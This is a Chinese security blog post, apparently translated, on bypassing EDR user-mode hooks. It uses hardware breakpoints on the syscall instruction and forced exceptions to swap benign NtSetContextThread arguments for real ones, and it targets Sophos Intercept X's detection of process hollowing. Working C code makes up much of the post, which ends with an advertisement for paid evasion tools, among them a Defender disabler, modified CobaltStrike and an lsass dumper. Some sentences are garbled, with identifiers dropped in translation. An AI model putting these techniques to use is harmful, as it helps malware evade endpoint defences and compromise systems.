点击上方蓝字关注我们
现在只对常读和星标的公众号才展示大图推送,建议大家能把星落安全团队“设为星标”,否则可能就看不到了啦!
背景介绍
最近,我正在测试一些 EDR 检测间接系统调用的能力,我有一个古怪的旁路想法。如果您还不熟悉直接和间接系统调用,我建议您先阅读本文。
直接和间接系统调用的一个缺点是,从调用堆栈中可以明显看出你绕过了EDR的用户模式钩子。以下是来自直接、间接和常规调用的一些示例调用堆栈。
直接 syscall 的调用堆栈
从最后一张图片中可以看出,当通过钩子函数完成调用时,EDR 钩子的返回地址会出现在调用堆栈中(在我的例子中是)。这是一个有趣的困境:我们不想调用 hooked 函数,因为这可能会触发检测,但如果我们完全绕过 hook,也可能触发检测。hmpalert
这时我有了一个有趣的想法。如果我确实调用了 hooked 函数,但以 EDR 无法正确检查调用参数的方式执行,该怎么办。我马上就有几个想法。
TOCTOU
Time-of-check to time-of-use,简称 TOCTOU,是软件开发中经常使用的一种技术。当对对象执行安全检查时,会出现漏洞,但在检查对象和使用对象之间,没有任何东西可以阻止修改该对象。让我们以以下代码为例:
BOOL CopyData(char *src_buffer, uint32_t *src_size) {
static char dest_buffer[1024];
if(*src_size >= 1024) {
printf("error, buffer overflow!"n);
return FALSE;
}
memcpy(dest_buffer, src_buffer, *src_size);
return TRUE;
}
在上面, 是指向整数的指针。如果指定的大小大于目标缓冲区,则函数将失败。Since 是一个指针,程序将变量的地址而不是其值传递给函数。在函数执行期间,程序完全有可能修改 指向的值。src_sizesrc_sizesrc_size
如果攻击者设法完美地定时更改 的值,使其发生在调用之后但在调用之前,他们仍然可以触发缓冲区溢出。该值只需要小于 1024,直到 if 语句完成,即可将其设置为大于 的值。src_sizeif(*src_size >= 1024)memcpy()dest_buffer
注意:上面的例子被高度过度简化,在现实世界中,编译器会优化此代码以仅读取 once 的值。*src_size
我最初的想法是利用类似的竞争条件来对付 EDR 的钩子。使用良性参数调用钩子函数,然后在调用过程中快速将它们替换为恶意函数。如果我们可以在 EDR 完成参数检查之后但在 syscall 指令之前将更改安排在发生时间,那么我们可以绕过钩子而无需实际绕过它。
在试图弄清楚是否有某种方法可以避免过早修改参数并触发检测事件时,我有另一个更好的主意。
硬件断点
这个想法甚至更简单。选择我要调用的由 EDR 挂接的 ntdll 函数,然后在 syscall 指令上放置一个硬件断点。硬件断点允许我们告诉 CPU 在读取、写入或执行某个地址时触发异常。因此,通过在 syscall 指令上放置执行断点,我们将能够在 EDR 完成检查之后但在系统调用发生之前拦截执行。这基本上允许我们挂接 EDR 的钩子,并将任何合法调用转换为自定义 syscall。
我们能够做的是调用一个具有良性参数的钩子函数,这些参数不会触发检测,然后在 EDR 已经检查了调用后,将这些参数换成恶意参数。如果需要,我们甚至可以更改系统调用号,以调用与 EDR 认为我们正在进行的系统调用不同的系统调用。硬件断点将在 EDR 检查完我们的虚构参数之后,但在 syscall 指令转换为内核模式之前触发。
来自挂钩 NtWriteFile 函数的代码流示例
呼叫流程将如下所示:
使用良性参数调用挂钩的 Nt 函数
EDR 检查良性参数
EDR 将控制权传回给钩子的 Nt 函数以执行系统调用
我们的第一个断点被触发,我们与恶意断点交换参数
我们继续执行,以便触发 syscall
内核使用我们的实数参数,然后返回 Nt 函数
触发了第二个断点,并将参数切换回来
EDR 执行任何呼叫后检查,并且只看到良性参数
理想情况下,最佳目标是使用 CPU 寄存器或内存指针作为参数的函数。如果我们开始修改堆栈变量,这可能会在 callstack 展开期间显示出来。
寻找合适目标
为了测试我的想法,我想想出一个函数调用,该函数调用将立即触发检测事件。这实际上证明比我想象的要困难得多。我确信会触发检测的许多操作都没有。最后,我决定使用旧的进程注入代码。
该代码的工作方式有点像进程挖空。它创建一个处于 suspended 状态的新进程,将自身注入到 suspended 进程中,然后用于将主线程的入口点更改为恶意代码的入口点。我选择的目标是 Sophos Intercept X,因为它公布了进程挖空攻击的检测。SetThreadContext()
如果我们对用户模式钩子进行逆向工程,我们可以准确地看到如何检测到进程空心。
EDR 的 NtSetContextThread 挂钩处理程序的代码片段。
每当创建新线程时,其指令指针都设置为 。RtlUserThreadStart 的第一个参数是线程的入口点,该入口点将在函数完成新线程的初始化后调用。在全新的进程中,只有一个线程,即主线程,它负责调用可执行文件的入口点。RtlUserThreadStart()
在进程挖空期间,可执行文件的代码将被取消映射并替换为恶意代码。由于旧代码和新代码不太可能具有完全相同的入口点地址,因此通常需要修改线程的起始地址。通过更改 (register ) 的第一个参数,我们更改线程的入口点,从而更改进程的入口点。RtlUserThreadStart()RCX
Sophos 的检测只是检查代码是否试图用于更改新线程的寄存器,这是可疑行为。由于我们可以在创建新线程时指定所需的任何入口点,因此在创建后更改它是没有意义的。这样做的唯一原因是,如果线程是由其他东西创建的,比如 PE Loader。NtSetContextThread()RCX
使用硬件断点绕过检查
实际上,我能想到的很多方法可以绕过此检查,但我只对试验 CPU 异常感兴趣。对于我们的第一个示例,我们只需在 和 的指令上设置一个断点。syscallretnNtSetContextThread()
下面是我为查找这些说明而编写的一些示例代码。
// find the address of the syscall and retn instruction within a Nt* function
BOOL FindSyscallInstruction(LPVOID nt_func_addr, LPVOID* syscall_addr, LPVOID* syscall_ret_addr) {
BYTE* ptr = (BYTE*)nt_func_addr;
// iterate through the native function stub to find the syscall instruction
for (int i = 0; i < 1024; i++) {
// check for syscall opcode (FF 05)
if (*&ptr[i] == 0x0F && *&ptr[i + 1] == 0x05) {
printf("Found syscall opcode at %llxn", (DWORD64)&ptr[i]);
*syscall_addr = (LPVOID)&ptr[i];
*syscall_ret_addr = (LPVOID)&ptr[i + 2];
break;
}
}
// make sure we found the syscall instruction
if (!*syscall_addr) {
printf("error: syscall instruction not foundn");
return FALSE;
}
// make sure the instruction after syscall is retn
if (**(BYTE**)syscall_ret_addr != 0xc3) {
printf("Error: syscall instruction not followed by retn");
return FALSE;
}
return TRUE;
}
不幸的是,debug registers 是特权 registers,这意味着我们不能直接从 user mode 设置它们。为了设置硬件断点,我们需要使用 ,这有点讽刺。我们基本上将使用 NtSetContextThread 来绕过 NtSetContextThread 上的钩子。NtSetContextThread()
要设置我们的硬件断点,我们需要设置和到我们想要中断的地址,然后告诉 CPU 我们想要什么类型的断点。DR0DR1DR7
thread_context.ContextFlags = CONTEXT_FULL;
// get the current thread context (note, this must be a suspended thread)
GetThreadContext(thread_handle, &thread_context);
dr7_t dr7 = { 0 };
dr7.dr0_local = 1; // set DR0 as an execute breakpoint
dr7.dr1_local = 1; // set DR1 as an execute breakpoint
thread_context.ContextFlags = CONTEXT_ALL;
thread_context.Dr0 = (DWORD64)syscall_addr; // set DR0 to break on syscall address
thread_context.Dr1 = (DWORD64)syscall_ret_addr; // set DR1 to break on syscall ret address
thread_context.Dr7 = *(DWORD*)&dr7;
// use SetThreadContext to update the debug registers
SetThreadContext(thread_handle, &thread_context);
在断点处理程序中,我们只更改 and register,其中包含 的参数 1 和参数 2。在调用之前,我们可以将真实值存储在全局变量中,使用一些假值调用 NtSetContextThread,然后让我们的异常处理程序将假值替换为真实值。RCXRDXNtSetContextThread()
由于系统调用 stub 将第一个参数从 into 移动到 ,因此我们将两者设置为安全。RCXR10
LONG WINAPI BreakpointHandler(PEXCEPTION_POINTERS e)
{
// hardware breakpoints trigger a single step exception
if (e->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
// this exception was caused by DR0 (syscall breakpoint)
if (e->ContextRecord->Dr6 & 0x1) {
// replace the fake parameters with the real ones
e->ContextRecord->Rcx = (DWORD64)g_thread_handle;
e->ContextRecord->R10 = (DWORD64)g_thread_handle;
e->ContextRecord->Rdx = (DWORD64)g_thread_context;
}
// this exception was caused by DR1 (syscall ret breakpoint)
if (e->ContextRecord->Dr6 & 0x2) {
// set the parameters back to fake ones
// since x64 uses registers for the first 4 parameters, we don't need to do anything here
// for calls with more than 4 parameters, we'd need to modify the stack
}
}
e->ContextRecord->EFlags |= (1 << 16); // set the ResumeFlag to continue execution
return EXCEPTION_CONTINUE_EXECUTION;
}
}
我们只能在挂起的线程上读/写上下文,因此我们只需创建一个新的挂起线程来调用 . 我们将用于我们的 fake 参数。NtSetContextThread()NtSetContextThread(NULL, NULL)
DWORD SetThreadContextThread(LPVOID param) {
NtSetContextThread(NULL, NULL);
return 0;
}
// calling our special NtSetThreadContext
SetUnhandledExceptionFilter(BreakpointHandler);
HANDLE new_thread = CreateThread(NULL, NULL, SetThreadContextThread, NULL, CREATE_SUSPENDED, NULL);
SetSyscallBreakpoints((LPVOID)NtSetContextThread, new_thread);
ResumeThread(new_thread);
结果
首先,让我们看看当我们正常调用时会发生什么。NtSetContextThread()
但是,我实际上想更进一步。必须调用 NtSetContextThread 来设置我们的硬件断点并不是一件好事。EDR 可以使用其 NtSetContextThread 钩子来查看我们是否尝试设置会干扰 EDR 的断点。那么,常规的旧异常呢?
意外收获
我们将尝试导致 CPU 异常,而不是硬件断点。常规异常的处理方式与断点异常的处理方式完全相同,但我们不需要调用来设置它们。NtSetContextThread()
我们已经知道 EDR 会在我们调用 时检查上下文结构,所以让我们利用它来发挥我们的优势。大多数软件在尝试读取地址之前会检查地址是否为 NULL,但如果它既不是 NULL 也不是有效地址怎么办?如果我们将上下文地址设置为 0x1337 会发生什么?NtSetContextThread()
让我们尝试以下操作:
HANDLE thread_handle = CreateThread(NULL, 0, test_thread, NULL, CREATE_SUSPENDED, 0);
SetThreadContext(thread_handle, (CONTEXT*)0x1337);
然后我们运行它并...
现在,我们有一种简单的方法来触发异常,而无需任何硬件断点。棘手的部分是异常发生在 EDR 的处理程序内部,而不是直接在 syscall 之前,因此用真实参数替换假参数要困难得多。我们还需要正确处理异常,以便进程不会崩溃。
我们可以使用反汇编器来制作更通用的旁路,但由于这只是一个 PoC,因此我们会将其硬编码为这个特定的 EDR 版本。触发异常的指令是 ,这意味着上下文指针 () 位于 中。我们只需设置为指向一个空的 CONTEXT 结构,这将导致为零,并且 EDR 不会触发检测。mov rdx, qword [rbx+0x80]0x1337RBXRBXthread_context->Rcx
既然绕过了 EDR 的检查,要使 syscall 成功,我们仍然需要修复无效的上下文指针。发生异常的函数只负责检查我们的上下文结构,不启动 syscall。但是,传递给 syscall 的上下文指针由 EDR 保存在堆栈上的某个位置。懒惰的解决方法是遍历堆栈,并将每个实例替换为我们真实上下文结构的地址。0x1337
// exception handler for forced exception
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS e)
{
static CONTEXT fake_context = { 0 };
printf("Exception handler triggered at address: 0x%llxn", e->ExceptionRecord->ExceptionAddress);
DWORD64* stack_ptr = (DWORD64*)e->ContextRecord->Rsp;
// iterate first 300 stack items, looking for our fake address
for (int i = 0; i < 300; i++) {
if (*stack_ptr == 0x1337) {
// replace the fake address with the real one
*stack_ptr = (DWORD64)g_thread_context;
printf("Fixed stack value at RSP+(0x8*0x%x) (0x%llx): 0x%llxn",
i, (DWORD64)stack_ptr, (DWORD64)*stack_ptr);
}
stack_ptr++;
}
// The pointer to our invalid address is in RBX, so replace it with an empty structure
// the RCX member of the context structure being NULL will cause the EDR to skip its check
e->ContextRecord->Rbx = (DWORD64)&fake_context;
return EXCEPTION_CONTINUE_EXECUTION;
}
现在我们只需运行代码,看看会发生什么......
最终结论
所以我们有了,有两种方法可以绕过 EDR 钩子而不绕过 EDR 钩子。不过,我不确定将强制异常方法转换为通用 EDR 旁路是否实用或容易。由于我们不能在 syscall 之后轻易地将指针改回去,并且它仅适用于 EDR 读取指针的调用, 它相当有限。第一种方法要通用得多,但可能也更容易为其编写检测。
我们可以将这两种方法结合起来,因为异常处理程序允许我们在不使用 . 我们可以强制出现异常,然后使用异常处理程序来设置硬件断点。NtSetContextThread()。
圈子介绍
博主介绍:
目前工作在某安全公司攻防实验室,一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练,擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
目前已经更新的免杀内容:
一键击溃360+核晶
一键禁用defender
CobaltStrike4.9.1二开
CobaltStrike免杀插件
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
目前星球已满200人,价格由208元调整为218元(交个朋友啦),300名以后涨价至248元!
关注微信公众号后台回复“入群”,即可进入星落安全交流群!
关注微信公众号后台回复“20241118”,即可进入获取源码下载地址!
往期推荐
1.
3
4
5.
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...